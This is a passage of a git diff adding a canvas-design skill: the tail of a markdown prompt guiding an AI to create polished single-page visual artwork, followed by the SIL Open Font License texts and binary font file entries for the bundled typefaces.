or magazine quality work, use the design philosophy as the foundation. Create one single page, highly visual, design-forward PDF or PNG output (unless asked for more pages). Generally use repeating patterns and perfect shapes. Treat the abstract philosophical design as if it were a scientific bible, borrowing the visual language of systematic observation—dense accumulation of marks, repeated elements, or layered patterns that build meaning through patient repetition and reward sustained viewing. Add sparse, clinical typography and systematic reference markers that suggest this could be a diagram from an imaginary discipline, treating the invisible subject with the same reverence typically reserved for documenting observable phenomena. Anchor the piece with simple phrase(s) or details positioned subtly, using a limited color palette that feels intentional and cohesive. Embrace the paradox of using analytical visual language to express ideas about human experience: the result should feel like an artifact that proves something ephemeral can be studied, mapped, and understood through careful attention. This is true art. + +**Text as a contextual element**: Text is always minimal and visual-first, but let context guide whether that means whisper-quiet labels or bold typographic gestures. A punk venue poster might have larger, more aggressive type than a minimalist ceramics studio identity. Most of the time, font should be thin. All use of fonts must be design-forward and prioritize visual communication. Regardless of text scale, nothing falls off the page and nothing overlaps. Every element must be contained within the canvas boundaries with proper margins. Check carefully that all text, graphics, and visual elements have breathing room and clear separation. This is non-negotiable for professional execution. **IMPORTANT: Use different fonts if writing text. Search the `./canvas-fonts` directory. Regardless of approach, sophistication is non-negotiable.** + +Download and use whatever fonts are needed to make this a reality. Get creative by making the typography actually part of the art itself -- if the art is abstract, bring the font onto the canvas, not typeset digitally. + +To push boundaries, follow design instinct/intuition while using the philosophy as a guiding principle. Embrace ultimate design freedom and choice. Push aesthetics and design to the frontier. + +**CRITICAL**: To achieve human-crafted quality (not AI-generated), create work that looks like it took countless hours. Make it appear as though someone at the absolute top of their field labored over every detail with painstaking care. Ensure the composition, spacing, color choices, typography - everything screams expert-level craftsmanship. Double-check that nothing overlaps, formatting is flawless, every detail perfect. Create something that could be shown to people to prove expertise and rank as undeniably impressive. + +Output the final result as a single, downloadable .pdf or .png file, alongside the design philosophy used as a .md file. + +--- + +## FINAL STEP + +**IMPORTANT**: The user ALREADY said "It isn't perfect enough. It must be pristine, a masterpiece if craftsmanship, as if it were about to be displayed in a museum." + +**CRITICAL**: To refine the work, avoid adding more graphics; instead refine what has been created and make it extremely crisp, respecting the design philosophy and the principles of minimalism entirely. Rather than adding a fun filter or refactoring a font, consider how to make the existing composition more cohesive with the art. If the instinct is to call a new function or draw a new shape, STOP and instead ask: "How can I make what's already here more of a piece of art?" + +Take a second pass. Go back to the code and refine/polish further to make this a philosophically designed masterpiece. + +## MULTI-PAGE OPTION + +To create additional pages when requested, create more creative pages along the same lines as the design philosophy but distinctly different as well. Bundle those pages in the same .pdf or many .pngs. Treat the first page as just a single page in a whole coffee table book waiting to be filled. Make the next pages unique twists and memories of the original. Have them almost tell a story in a very tasteful way. Exercise full creative freedom. \ No newline at end of file diff --git a/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt b/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt new file mode 100644 index 00000000..1dad6ca6 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Arsenal Project Authors (andrij.design@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf b/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf new file mode 100644 index 00000000..fe5409b2 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf b/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf new file mode 100644 index 00000000..fc5f8fdd Binary files /dev/null and b/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt b/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt new file mode 100644 index 00000000..b220280e --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf b/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf new file mode 100644 index 00000000..de8308ce Binary files /dev/null and b/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt b/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt new file mode 100644 index 00000000..1890cb1c --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf b/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf new file mode 100644 index 00000000..43fa30af Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf new file mode 100644 index 00000000..f3b1deda Binary files /dev/null and b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt b/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt new file mode 100644 index 00000000..fc2b2167 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf new file mode 100644 index 00000000..0674ae3e Binary files /dev/null and b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf new file mode 100644 index 00000000..58730fb4 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf new file mode 100644 index 00000000..786a1bd6 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt b/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt new file mode 100644 index 00000000..f976fdc9 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf new file mode 100644 index 00000000..f5666b9b Binary files /dev/null and b/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/DMMono-OFL.txt b/skills/canvas-design/canvas-fonts/DMMono-OFL.txt new file mode 100644 index 00000000..5b17f0c6 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/DMMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf b/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf new file mode 100644 index 00000000..7efe813d Binary files /dev/null and b/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt b/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt new file mode 100644 index 00000000..490d0120 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt @@ -0,0 +1,94 @@ +Copyright (c) 2011 by LatinoType Limitada (luciano@latinotype.com), +with Reserved Font Names "Erica One" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, 